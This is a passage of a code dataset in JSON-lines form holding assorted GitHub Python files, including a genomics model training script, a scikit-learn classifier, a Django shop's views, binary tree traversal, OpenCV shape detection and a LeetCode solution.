lr_warmup_epochs=config[\"optimization\"][\"scheduler\"][\"warmup_epochs\"],\n                lr_max_epochs=config[\"optimization\"][\"epochs\"],\n                optimizer=config[\"optimization\"][\"optimizer\"][\"optimizer\"],\n                weight_decay=config[\"optimization\"][\"optimizer\"][\"weight_decay\"],\n                dropout_prob=config[\"optimization\"][\"dropout_prob\"],\n                softplus=config[\"model\"][\"softplus\"],\n                target_is_log=config[\"task\"][\"target\"][\"log_target_in\"],\n                log_train=config[\"task\"][\"target\"][\"log_transform_train\"],\n                log_validate=config[\"task\"][\"target\"][\"log_transform_validate\"],\n                std_validate=config[\"task\"][\"target\"][\"std_validate\"],\n                model_type=config[\"model\"][\"model_type\"],\n                mode=\"single_cell\",\n                bottleneck_dim=config[\"model\"][\"bottleneck_dim\"],\n                bottleneck_nonlin=config[\"model\"][\"bottleneck_nonlin\"],\n                rel_weight_gene=config[\"optimization\"][\"rel_weights_gene\"],\n                rel_weight_cell=config[\"optimization\"][\"rel_weights_cell\"],\n                pears_norm_mode=config[\"optimization\"][\"pears_norm_mode\"],\n                train_eval=config[\"resource\"][\"run_train_eval\"],\n            )\n        else:\n            # If using the sequence input ===========\n            # If using enformer trunk\n            if config[\"enformer\"][\"enformer_trunk\"][\"use_enformer_trunk\"]:\n                from enformer_pytorch import Enformer\n\n                # load/build an enformer trunk\n                enf_model = Enformer.from_pretrained(\n                    config[\"enformer\"][\"enformer_trunk\"][\"enformer_copy_path\"]\n                )\n                trunk = EnformerTrunk(\n                    enf_model, config[\"enformer\"][\"enformer_trunk\"][\"central_bin\"]\n                )\n                if config[\"device\"] in [\"cuda\", \"gpu\"]:\n                    trunk.cuda()\n            else:\n                logger.warning(\n                    \"This is placeholder for future \"\n                    \"implementations. If using input_type = \"\n                    \"'sequence' then use_enformer_trunk = True is \"\n                    \"required for now.\"\n                )\n\n            model = Embedding2Target(\n                emb_dim=config[\"task\"][\"input\"][\"emb_dim\"],\n                target_dim=len(train_data[0][1]),\n                loss=config[\"optimization\"][\"loss\"],\n                learning_rate=config[\"optimization\"][\"optimizer\"][\"lr\"],\n                lr_schedule=config[\"optimization\"][\"optimizer\"][\"lr_schedule\"],\n                lr_warmup_epochs=config[\"optimization\"][\"scheduler\"][\"warmup_epochs\"],\n                lr_max_epochs=config[\"optimization\"][\"epochs\"],\n                optimizer=config[\"optimization\"][\"optimizer\"][\"optimizer\"],\n                weight_decay=config[\"optimization\"][\"optimizer\"][\"weight_decay\"],\n                dropout_prob=config[\"optimization\"][\"dropout_prob\"],\n                softplus=config[\"model\"][\"softplus\"],\n                log_train=config[\"task\"][\"target\"][\"log_transform_train\"],\n                log_validate=config[\"task\"][\"target\"][\"log_transform_validate\"],\n                std_validate=config[\"task\"][\"target\"][\"std_validate\"],\n                model_type=config[\"model\"][\"model_type\"],\n                model_trunk=trunk,\n                mode=\"single_cell\",\n                freeze=config[\"enformer\"][\"enformer_trunk\"][\"freeze\"],\n                bottleneck_dim=config[\"model\"][\"bottleneck_dim\"],\n                bottleneck_nonlin=config[\"model\"][\"bottleneck_nonlin\"],\n                rel_weight_gene=config[\"optimization\"][\"rel_weights_gene\"],\n                rel_weight_cell=config[\"optimization\"][\"rel_weights_cell\"],\n                pears_norm_mode=config[\"optimization\"][\"pears_norm_mode\"],\n                train_eval=config[\"resource\"][\"run_train_eval\"],\n            )\n\n        logger.info(\"Initialized model:\")\n        if config[\"task\"][\"input\"][\"input_type\"] == \"embeddings\":\n            # print model summary if not using Enformer (to big to print neatly\n            logger.info(model)\n\n    # Set up Dataloaders ===================================\n    train_data_loader = DataLoader(\n        train_data,\n        batch_size=config[\"data\"][\"loader\"][\"batch_size\"],\n        shuffle=config[\"data\"][\"loader\"][\"shuffle\"],\n        num_workers=config[\"resource\"][\"num_workers\"],\n        pin_memory=True,\n        persistent_workers=True,\n    )\n    valid_data_loader = DataLoader(\n        valid_data,\n        batch_size=config[\"data\"][\"loader\"][\"batch_size\"],\n        shuffle=False,\n        num_workers=config[\"resource\"][\"num_workers\"],\n        pin_memory=True,\n        persistent_workers=True,\n    )\n    if config[\"test\"][\"run_test\"]:\n        # set up test data loader\n        test_data_loader = DataLoader(\n            test_data,\n            batch_size=config[\"data\"][\"loader\"][\"batch_size\"],\n            shuffle=config[\"data\"][\"loader\"][\"shuffle\"],\n            num_workers=config[\"resource\"][\"num_workers\"],\n            pin_memory=True,\n            persistent_workers=True,\n        )\n\n    # Training =================================================\n    if config[\"optimization\"][\"run_train\"]:\n\n        # assemble callbacks\n        collect_callbacks = [lr_monitor, checkpoint_callback]\n\n        if config[\"optimization\"][\"swa\"][\"use_swa\"]:\n            swa_callback = StochasticWeightAveraging(\n                swa_lrs=config[\"optimization\"][\"swa\"][\"swa_lr\"],\n                swa_epoch_start=config[\"optimization\"][\"swa\"][\"swa_epoch_start\"],\n                annealing_epochs=config[\"optimization\"][\"swa\"][\"swa_anneal_epochs\"],\n                annealing_strategy=config[\"optimization\"][\"swa\"][\"swa_anneal_strategy\"],\n            )\n\n            collect_callbacks.append(swa_callback)\n\n        else:\n            # use early stopping\n            collect_callbacks.append(early_stop_callback)\n\n        if config[\"resource\"][\"num_devices\"] <= 1:\n            trainer = pl.Trainer(\n                accelerator=config[\"resource\"][\"device\"],\n                max_epochs=config[\"optimization\"][\"epochs\"],\n                logger=tb_logger,\n                callbacks=collect_callbacks,\n            )\n        else:\n            # train in ddp mode\n            trainer = pl.Trainer(\n                accelerator=config[\"resource\"][\"device\"],\n                max_epochs=config[\"optimization\"][\"epochs\"],\n                logger=tb_logger,\n                callbacks=collect_callbacks,\n                devices=config[\"resource\"][\"num_devices\"],\n                strategy=\"ddp\",\n            )\n\n        trainer.fit(model, train_data_loader, valid_data_loader)\n\n    # TEST MODE ===============================================================\n    if config[\"test\"][\"run_test\"]:\n\n        # assert that valid value for testing set was selected\n        assert config[\"test\"][\"test_on\"] in [\"train\", \"test\", \"valid\", \"all\"], (\n            \"Select a 'test_on' value from 'train', 'test', 'valid', \" \"'all'\"\n        )\n\n        model.eval()\n        # run one training epoch to update training means\n        trainer = pl.Trainer(max_epochs=1)\n        model.learning_rate = 0\n        model.hparams.learning_rate = 0\n        logger.info(\n            \"Running one epoch with lr = 0 to accumulate train \"\n            \"set mean and standard deviations.\"\n        )\n        trainer.fit(model, train_data_loader, valid_data_loader)\n\n        # test on all sets\n        if config[\"test\"][\"test_on\"] in [\"all\", \"train\"]:\n            trainer.test(model, dataloaders=train_data_loader)\n            print(\"^^^ Performance on Training set ^^^\")\n        if config[\"test\"][\"test_on\"] in [\"all\", \"valid\"]:\n            trainer.test(model, dataloaders=valid_data_loader)\n            print(\"^^^ Performance on Validation set ^^^^\")\n        if config[\"test\"][\"test_on\"] in [\"all\", \"test\"]:\n            trainer.test(model, dataloaders=test_data_loader)\n            print(\"^^^ Performance on Test set ^^^\")\n","repo_name":"GSK-AI/seq2cells","sub_path":"seq2cells/scripts/training/fine_tune_on_anndata.py","file_name":"fine_tune_on_anndata.py","file_ext":"py","file_size_in_byte":15611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"37339016483","text":"import numpy as np\nimport pandas as pd\nimport sys\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn import svm\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier, RandomForestClassifier\nfrom sklearn.linear_model import SGDClassifier, PassiveAggressiveClassifier, LogisticRegression\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\nfrom gensim.parsing.preprocessing import STOPWORDS\nsys.path.insert(0, '..')\nfrom assignments.assignment8 import my_evaluation\n\n\nclass my_model():\n\n    def preprocess(self, data_frame):\n\n        data_frame['location'] = data_frame.location.fillna('None')\n        data_frame['description'] = data_frame.description.fillna('Not specified')\n        data_frame['requirements'] = data_frame.description.fillna('Not specified')\n        data_frame['has_company_logo'] = data_frame.has_company_logo.map({1: 't', 0: 'f'})\n        data_frame['title'] = data_frame.title.str.replace(r'<[^>]*>', '')\n        data_frame['description'] = data_frame.description.str.replace(r'<[^>]*>', '')\n        data_frame['requirements'] = data_frame.requirements.str.replace(r'<[^>]*>', '')\n        data_frame.drop(['telecommuting', 'has_questions'], axis=1, inplace=True)\n\n        for values in data_frame.columns:\n            data_frame[values] = data_frame[values].str.replace(r'\\W',' ').str.replace(r'\\s$', '')\n\n        self.all_genism_stop_words = STOPWORDS\n        columnsWText = list(data_frame.columns.values)\n\n        for values in columnsWText:\n            self.removeStopWords(data_frame, values)\n\n        for values in columnsWText:\n            self.removeSpecialChar(data_frame, values)\n\n        return data_frame\n\n    def removeStopWords(self, data_frame, column_name):\n\n        data_frame[column_name] = data_frame[column_name].apply(lambda variable: \" \".join([i for i in variable.lower().split() if i not in self.all_genism_stop_words]))\n\n    def removeSpecialChar(self, data_frame, columns):\n\n        data_frame.columns = data_frame.columns.str.replace('[!,@,#,$,%,^,&,*,\\\",:,;,.]', '')\n\n    def fit(self, X, y):\n\n        X = self.preprocess(X)\n\n        self.preprocessor = TfidfVectorizer(stop_words='english', norm='l2', use_idf=True, smooth_idf=True, ngram_range=(1, 5))\n\n        XX = self.preprocessor.fit_transform(X[\"description\"], X[\"requirements\"])\n\n        # self.abc = AdaBoostClassifier()\n        # abc_parameters = {'n_estimators': [20, 50, 75, 100, 500], 'learning_rate': [.001, .01, .1]}\n\n        self.svc = SVC()\n        svc_parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],'C': [1, 10, 100, 1000]}]\n\n        self.sgd = SGDClassifier()\n        sgd_parameters = {'class_weight': [\"balanced\", \"weighted\"],'penalty': [\"l2\", \"l1\"],'shuffle': [True, False],'random_state': [5, 10, 20]}\n\n        self.rfc = RandomForestClassifier(class_weight=\"balanced\", random_state=5)\n        rf_parameters = {\"max_depth\": [10, 15, 25],\"criterion\": ['gini', 'entropy'],\"min_samples_split\": [2, 3, 4, 5],\"n_estimators\": [10]}\n\n        self.pac = PassiveAggressiveClassifier(class_weight=\"balanced\")\n        pac_parameters = {'random_state': [5, 10, 15, 20],'C': [0.25, 0.5, 0.75, 1],'shuffle': [True, False]}\n\n        # self.rscv = GridSearchCV(self.pac, pac_parameters,refit=True, n_jobs=-1)\n        self.rscv = RandomizedSearchCV(self.pac, pac_parameters, random_state=20, n_jobs=-1)\n\n        self.rscv.fit(XX, y)\n\n        return\n\n    def predict(self, X):\n\n        X = self.preprocess(X)\n        XX = self.preprocessor.transform(X[\"description\"])\n        predictions = self.rscv.predict(XX)\n\n\n        return predictions","repo_name":"SudharshanBR/DSCI-633-Assignments-Project","sub_path":"assignments/project/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36393957523","text":"#implementing a binary tree and algorithms DFS, BFS\r\nimport collections\r\nclass BinaryTree:\r\n    def __init__(self, value):\r\n        self.value = value\r\n        self.left_child = None\r\n        self.right_child = None\r\n    def insert_left(self, value):\r\n        if self.left_child == None:\r\n            self.left_child = BinaryTree(value)\r\n        else:\r\n            new_node = BinaryTree(value)\r\n            new_node.left_child = self.left_child\r\n            self.left_child = new_node\r\n                #node - узел?\r\n    def insert_right(self, value):\r\n        if self.right_child == None:\r\n            self.right_child = BinaryTree(value)\r\n        else:\r\n            new_node = BinaryTree(value)\r\n            new_node.right_child = self.right_child\r\n            self.right_child = new_node \r\n    def DFS(self):\r\n        print(self.value, end='->')\r\n        \r\n        if self.left_child:\r\n            self.left_child.DFS()\r\n        if self.right_child:\r\n            self.right_child.DFS()\r\n    def BFS(self):\r\n        queue = Queue()\r\n        queue.put(self)\r\n        \r\n        while not queue.empty():\r\n            n = queue.get()\r\n            print(now_node.value)\r\n            \r\n            if n.left_child:\r\n                queue.put(n.left_child)\r\n            if n.right_child:\r\n                queue.put(n.right_child)\r\na_node = BinaryTree('a')\r\na_node.insert_left('b')\r\na_node.insert_right('c')\r\n\r\nb_node = a_node.left_child\r\nb_node.insert_left('e')\r\nb_node.insert_right('d')\r\n\r\nc_node = a_node.right_child         #    a\r\nc_node.insert_left('f')             # b     c\r\nc_node.insert_right('g')             #d e   f g\r\n\r\nd_node = b_node.left_child\r\ne_node = c_node.right_child\r\nf_node = c_node.left_child\r\ng_node = c_node.right_child\r\n\r\nprint('Выполняем алгоритм DFS для бинарного дерева')\r\na_node.DFS()\r\nprint('Выполняем алгоритм BFS для бинарного дерева')\r\na_node.BFS()\r\n","repo_name":"GlamorousCar/Algorithm","sub_path":"BinaryTree.py","file_name":"BinaryTree.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34446790352","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 09. Typoglycemia\n\nimport random\n\ntext = \"I couldn't believe that I could actually understand what I was reading : the phenomenal power of the human mind .\"\n\nwords = text.split(\" \")\nrandom_words = []\nfor word in words:\n    if len(word) < 4:\n        random_words.append(word)\n    else:\n        word_list = list(word)\n        middle = word_list[1:-1]\n        random.shuffle(middle)\n        random_words.append(word_list[0]+\"\".join(middle)+word_list[-1])\nanswer = \" \".join(random_words)\nprint(answer)\n","repo_name":"st2one/nlp100","sub_path":"chapter01/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15991663376","text":"from django.contrib.auth.password_validation import UserAttributeSimilarityValidator\nfrom django.http.response import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom .models import Category, Product, Reccom, Showcase\nfrom django.urls.base import reverse\nfrom .dataStructure import build_Linkedlist,sort_by_price,Queue\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import login, logout\n# Create your views here.\n\ndef index(request):\n    request.session['sort_id'] = None\n    request.session['sort_name'] = 'จัดเรียงตาม'\n    request.session['searched'] = ''\n    reccom = Reccom.objects.all()\n    return render(request, 'index.html', {'reccom': reccom, })\n\n\ndef store(request):\n    products = Product.objects.filter(available=True)\n\n    s_name = request.session.get('sort_name') or 'จัดเรียงตาม'\n    s_id = request.session.get('sort_id') or 0\n    c = request.session.get('category') or 0 \n    '''use Structure'''\n    qDate_Products = Queue()\n    qPrice_Products = Queue()\n    list_of_data = []\n    for x in products: #\"code\":x.code พวก atribute ในclass ทั้งหมด\n        dict_of_data = {\"code\":x.code,\"name\":x.name,\n        \"slug\":x.slug,\n        \"price\":x.price,\n        \"description\":x.description,\n        \"available\":x.available,\n        \"created\":x.created,\n        \"image\":x.image,\n        \"category\":x.category,\n        }\n        list_of_data.append(dict_of_data)\n        qDate_Products.enQueue(list_of_data)\n        qPrice_Products.enQueue(list_of_data)\n        list_of_data=[]\n    qDate_Products=sort_by_price(qDate_Products,True)\n    l1=build_Linkedlist(qDate_Products)\n\n\n    searched = request.session.get('searched') or ''\n    if searched != '':\n        temp2 = []\n        if isinstance(products[0],list):\n            for i in products:\n                temp2.append(get_object_or_404(Product,name = i.get('name')))\n            products = temp2\n        temp2.clear()\n        for i in products:\n            if str(searched).lower() in str(i.name).lower():\n                temp2.append(i)\n        products = temp2\n        \n    #วันที่ ใหม่-เก่า\n    if int(s_id) == 1:\n        l1.sortList(False)\n        l_Products=l1.convertToArr()\n        products=l_Products\n    #วันที่ เก่า-ใหม่\n    elif int(s_id) == 2:\n        l1.sortList(True)\n        l_Products=l1.convertToArr()\n        products=l_Products\n    #ราคา น้อย-มาก\n    elif int(s_id) == 3:\n        products = sort_by_price(qPrice_Products,True)\n    #ราคา มาก-น้อย \n    elif int(s_id) == 4:\n        products = sort_by_price(qPrice_Products,False)\n        \n\n    if c:\n        temp = []\n        temp2 = []\n        if len(products) != 0:\n            if isinstance(products[0],dict):\n                for i in products:\n                    temp2.append(get_object_or_404(Product,name = i.get('name')))\n                products = temp2\n            for p in products:\n                if int(p.category.id) == int(c):\n                    temp.append(p)\n            products = temp\n        else:\n            products = []\n        \n    categories = Category.objects.all()\n\n    paginator = Paginator(products, 8)\n    page = request.GET.get('page')\n    try:\n        products = paginator.page(page)\n    except PageNotAnInteger:\n        products = paginator.page(1)\n    except EmptyPage:\n        products = paginator.page(paginator.num_pages)\n\n    return render(request, 'store/store.html', {\n        'products': products,\n        'categories': categories,\n        'category_id': c,\n        'sortid' : s_id,\n        'sortname' : s_name,\n    })\n\ndef detail(request, slug):\n    request.session['sort_id'] = None\n    request.session['sort_name'] = 'จัดเรียงตาม'\n    request.session['searched'] = ''\n    product = get_object_or_404(Product, slug=slug)\n    showcase = product.showcase.all()\n    return render(request, 'store/detail.html', {\n        'product': product,\n        'showcase': showcase,\n    })\n\n\ndef cart_add(request, slug):\n    product = get_object_or_404(Product, slug=slug)\n    cart_items = request.session.get('cart_items') or []\n    total_price = request.session.get('total_price') or 0\n    duplicated = False\n\n    for c in cart_items:\n        if c.get('slug') == product.slug:\n            c['qty'] = int(c.get('qty') or '1') + 1\n            c['total'] = int(c.get('qty') or '1') * int(c.get('price'))\n            duplicated = True\n\n    if not duplicated:\n        cart_items.append({\n            'image': product.image.url,\n            'id' : product.id,\n            'slug' : product.slug,\n            'name' : product.name,\n            'price' : product.price,\n            'qty': 1,\n            'total': int(product.price),\n        })\n    request.session['cart_items'] = cart_items \n    request.session['total_price'] = total_price\n    return HttpResponseRedirect(reverse('myapp:cart_list', kwargs={}))\n\n\ndef cart_list(request):\n    cart_items = request.session.get('cart_items') or []\n    total_price = request.session.get('total_price') or 0\n    total_qty = 0\n    total_item = 0\n\n    for c in cart_items:\n        total_qty = total_qty + c.get('qty')\n        total_price += int(c.get('total'))\n        total_item += 1\n    \n    request.session['cart_qty'] = total_qty\n    return render(request, 'store/cart.html', {\n        'cart_items' : cart_items,\n        'total_price' : total_price,\n        'total_item' : total_item,\n    })\n\ndef cart_delete(request,slug):\n    cart_items = request.session.get(\"cart_items\") or []\n    for i in range(len(cart_items)):\n        if cart_items[i]['slug'] == slug:\n            del cart_items[i]\n            break\n    request.session['cart_items'] = cart_items\n    return HttpResponseRedirect(reverse('myapp:cart_list',kwargs={}))\n\ndef inc_qty(request,slug):\n    cart_items = request.session.get(\"cart_items\") or []\n    for i in range(len(cart_items)):\n        if cart_items[i]['slug'] == slug:\n            cart_items[i]['qty'] = int(cart_items[i]['qty']) + 1\n            cart_items[i]['total'] = int(cart_items[i]['price']) * int(cart_items[i]['qty'])\n    request.session['cart_items'] = cart_items\n    return HttpResponseRedirect(reverse('myapp:cart_list',kwargs={}))\n\ndef dec_qty(request,slug):\n    cart_items = request.session.get(\"cart_items\") or []\n    for i in range(len(cart_items)):\n        if cart_items[i]['slug'] == slug:\n            if int(cart_items[i]['qty']) > 1:\n                cart_items[i]['qty'] = int(cart_items[i]['qty']) - 1\n                cart_items[i]['total'] = int(cart_items[i]['price']) * int(cart_items[i]['qty'])\n    request.session['cart_items'] = cart_items\n    return HttpResponseRedirect(reverse('myapp:cart_list',kwargs={}))\n\ndef category(request, categoryid):\n    if int(categoryid) == 0:\n        request.session['category'] = None\n    else:\n        request.session['category'] = categoryid\n    return HttpResponseRedirect(reverse('myapp:store',kwargs={}))\n\ndef sort(request, sortid):\n    if int(sortid) == 0:\n        request.session['sort_id'] = None\n        request.session['sort_name'] = 'จัดเรียงตาม'\n    else:\n        request.session['sort_id'] = sortid\n        if int(sortid) == 1:\n            request.session['sort_name'] = 'วันที่:ใหม่-เก่า'\n        elif int(sortid) == 2:\n            request.session['sort_name'] = 'วันที่:เก่า-ใหม่'\n        elif int(sortid) == 3:\n            request.session['sort_name'] = 'ราคา:น้อย - มาก'\n        elif int(sortid) == 4:\n            request.session['sort_name'] = 'ราคา:มาก - น้อย'\n    return HttpResponseRedirect(reverse('myapp:store',kwargs={}))\n\ndef search_item(request):\n    if request.method == 'POST':\n        request.session['searched'] = request.POST['searched']\n    return HttpResponseRedirect(reverse('myapp:store',kwargs={}))\n\ndef login_view(request):\n    if request.method == 'POST':\n        form = AuthenticationForm(data=request.POST)\n        if form.is_valid():\n            user = form.get_user()\n            login(request,user)\n            return redirect('myapp:index')\n    else:\n        form = AuthenticationForm()\n    return render(request, 'account/login.html',{\n        'form': form,\n    })\n\ndef logout_view(request):\n    logout(request)\n    return HttpResponseRedirect(reverse('myapp:index',kwargs={}))\n\ndef signup_view(request):\n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n        if form.is_valid():\n            user = form.save()\n            login(request,user)\n            return redirect('myapp:index')\n    else:\n        form = UserCreationForm()\n        return render(request,'account/signup.html',{\n            'form':form\n        })\n\ndef aboutus(request):\n    return render(request,'store/aboutus.html')\n\ndef manual(request):\n    return render(request,'store/manual.html')","repo_name":"Peak793/Maguro-Shop","sub_path":"store/myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73129505362","text":"import cv2\r\n\r\n# Load the image\r\nimg = cv2.imread('shapes.png',0)\r\n\r\n# Convert the image to grayscale\r\n#gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n# Threshold the image\r\nthresh = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)[1]\r\n\r\n# Find contours in the image\r\ncontours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n# Loop over the contours\r\nfor cnt in contours:\r\n    # Approximate the contour\r\n    approx = cv2.approxPolyDP(cnt, 0.01*cv2.arcLength(cnt, True), True)\r\n\r\n    # Determine the shape of the contour based on the number of vertices\r\n    num_vertices = len(approx)\r\n    if num_vertices == 3:\r\n        shape = \"triangle\"\r\n    elif num_vertices == 4:\r\n        (x, y, w, h) = cv2.boundingRect(approx)\r\n        aspect_ratio = w / float(h)\r\n\r\n        # Determine if the contour is a square or a rectangle based on the aspect ratio\r\n        if aspect_ratio >= 0.95 and aspect_ratio <= 1.05:\r\n            shape = \"square\"\r\n        else:\r\n            shape = \"rectangle\"\r\n    else:\r\n        shape = \"circle\"\r\n\r\n    # Draw the shape name on the image\r\n    cv2.putText(img, shape, (cnt[0][0][0], cnt[0][0][1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\r\n\r\n# Display the image with shape names\r\ncv2.imshow(\"Shapes\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"Alok1721/Alok","sub_path":"image_decect1.py","file_name":"image_decect1.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38754558878","text":"import speech_recognition as sr\nimport webbrowser as wb\n\nr1 = sr.Recognizer()\nr2 = sr.Recognizer()\nr3 = sr.Recognizer()\n\nwith sr.Microphone() as src:\n    print('Say google to search in google')\n    print('...speak now-')\n    command1 = r3.listen(src)\n    print('voice captured')\n    wakeword = r3.recognize_google(command1)\n    print(wakeword)\nif 'Google' in r2.recognize_google(command1):\n    #r2 = sr.Recognizer()\n    url = 'https://www.google.com/search?q='\n    with sr.Microphone() as src:\n        print('What do you want to search?')\n        query = r2.listen(src)\n\n        try:\n            question = r2.recognize_google(query)\n            print(question)\n            wb.get().open_new(url+question)\n        except sr.UnknownValueError:\n            print('error')\n        except sr.RequestError as e:\n            print('failed to get results' .format(e))","repo_name":"jyothish2312/SpeechRecognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71609789523","text":"from dolphin import DolphinGun\r\n\r\nclass Orca:\r\n    def __init__(self):\r\n        self.set_vals()\r\n        self.gun = DolphinGun(30, self.bodyX, self.headrightY, 5)\r\n\r\n    def set_vals(self):\r\n        self.tailMidx = 20\r\n        # following three have same x = tailMidx = 20\r\n        self.tailMidy = 450\r\n        self.tailTopY = 460\r\n        self.tailBotY = 440\r\n        # right x has the same y as tailMidY\r\n        self.tailRightX = 37.3\r\n\r\n        # body\r\n        self.bodyH = 10\r\n        self.bodyW = 26\r\n        self.bodyX = 30\r\n        self.bodyY = 446\r\n\r\n        # head\r\n        self.headMidX = 56\r\n        # following three have same x = headMidX\r\n        self.headMidY = 450\r\n        self.headtopY = 460\r\n        self.headbotY = 450\r\n        self.headrightY = 450\r\n        self.headrightx = 56 + 15\r\n        self.vx = 0\r\n        self.vy = 0\r\n\r\n    def moveX(self, x_net):\r\n        if self.bodyX > 800 | self.bodyX < 0:\r\n            self.respawn()\r\n        self.tailMidx += x_net\r\n        self.tailRightX += x_net\r\n        self.bodyX += x_net\r\n        self.headMidX += x_net\r\n        self.headrightx += x_net\r\n        self.gun.x += x_net\r\n\r\n    def moveY(self, y_net):\r\n        if self.bodyY > 600 | self.bodyY < 0:\r\n            self.respawn()\r\n        self.tailMidy += y_net\r\n        self.tailTopY += y_net\r\n        self.tailBotY += y_net\r\n        self.bodyY += y_net\r\n        self.headMidY += y_net\r\n        self.headtopY += y_net\r\n        self.headbotY += y_net\r\n        self.headrightY += y_net\r\n        self.gun.y += y_net\r\n\r\n    def vMove(self):\r\n        self.moveX(self.vx)\r\n        self.moveY(self.vy)\r\n\r\n\r\n    def getVxVy(self):\r\n        return self.vx, self.vy\r\n\r\n    def respawn(self):\r\n        self.set_vals()","repo_name":"thma4828/misc-code","sub_path":"ORCA.py","file_name":"ORCA.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22908134796","text":"base_datos1 = [(\"Juan\", \"juan@example.com\", \"555-1234\"), (\"Maria\",\n\"maria@example.com\", \"555-5678\"), (\"Pedro\", \"pedro@example.com\", \"555-9012\")]\n\nbase_datos2 = [(\"Juan\", \"Calle 123\", [\"Libro1\", \"Libro2\"]), (\"Maria\", \"Calle 456\", [\"Libro3\"]),\n(\"Luis\", \"Calle 789\", [\"Libro4\"])]\n\n#CLIENTES QUE APARECEN EN AMBAS BASES DE DATOS\nnombres_base_datos1=set([tupla[0] for tupla in base_datos1]) #obtenemos los nombres de la base de datos 1\nnombres_base_datos2=set([tupla[0] for tupla in base_datos2]) #obtenemos los nombres de la base de datos 2\n\nnombres_comunes=nombres_base_datos1 & nombres_base_datos2  #intersección lo mismo que nombres_base_datos1.interseccion(nombres_base_datos2)\nprint(tuple(nombres_comunes)) #nos la piden en forma de tupla\n\n#BASE DE DATOS CON LOS CLIENTES COMUNES Y CON LOS DATOS DE LAS DOS BASES\nbase_datos_comunes=[]\nfor i in base_datos1:\n    if i[0] in nombres_comunes:\n        for j in base_datos2:\n            if j[0] ==i[0]:\n                datos_comunes=i+j[1:]\n                base_datos_comunes.append(datos_comunes)\n                break\nprint(base_datos_comunes)","repo_name":"davidmartisangu/diccionarios-python","sub_path":"OneDrive/Escritorio/MasterConquerBlocks/tema5_tuplas&sets/5B_datos_clientes.py","file_name":"5B_datos_clientes.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23341590632","text":"from portfoliobuddy.model import session, User\n\n\ndef user_exists(user_id):\n    db_session = session()\n    result = db_session.query(User).filter(User.userid.is_(user_id))\n    return bool(result.all())\n\n\ndef get_chat_id():\n    db_session = session()\n    result = db_session.query(User).filter(User.username.like('Group Chat'))\n    row = result.first()\n    if row:\n        return row.userid\n","repo_name":"tradingwithpandas/portfoliobuddy","sub_path":"portfoliobuddy/controller/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7495456996","text":"from typing import List\n\n\nclass Solution:\n    def findMissingRanges(self, nums: List[int], lower: int, upper: int) -> List[str]:\n        result = []\n        prev = lower - 1\n\n        nums.append(upper + 1)\n\n        for i in range(len(nums)):\n            low = prev + 1\n            high = nums[i] - 1\n\n            if low <= high:\n                result.append(f\"{low}\" if low == high else f\"{low}->{high}\")\n\n            prev = nums[i]\n\n        return result\n\n\n\"\"\"\nExplanation:\n\nSet variable prev to lower - 1 and initialize an empty result list. Add upper + 1 to end of nums list. Iterate over each number in nums. If prev + 1 <= curr - 1, calculate and format the missing range, then append it to the result list. Set prev to curr and repeat the process. Return the result list.\n\nNotes:\n\nTime complexity: O(n)\nSpace complexity: O(1)\n\"\"\"\n\n# Test 1: Multiple elements w/ missing ranges\nnums = [0, 1, 3, 50, 75]\nlower = 0\nupper = 99\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert result == [\n    \"2\", \"4->49\", \"51->74\", \"76->99\"], f\"Expected['2', '4->49', '51->74', '76->99'] but got {result}\"\n\n# Test 2: Multiple elements w/ no missing ranges\nnums = [1, 2, 3, 4, 5]\nlower = 1\nupper = 5\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert result == [], f\"Expected [] but got {result}\"\n\n# Test 3: Single element w/ missing ranges\nnums = [1]\nlower = -1\nupper = 100\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert result == [\n    \"-1->0\", \"2->100\"], f\"Expected ['-1->0', '2->100'] but got {result}\"\n\n# Test 4: Single element same as low/high bounds\nnums = [1]\nlower = 1\nupper = 1\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert 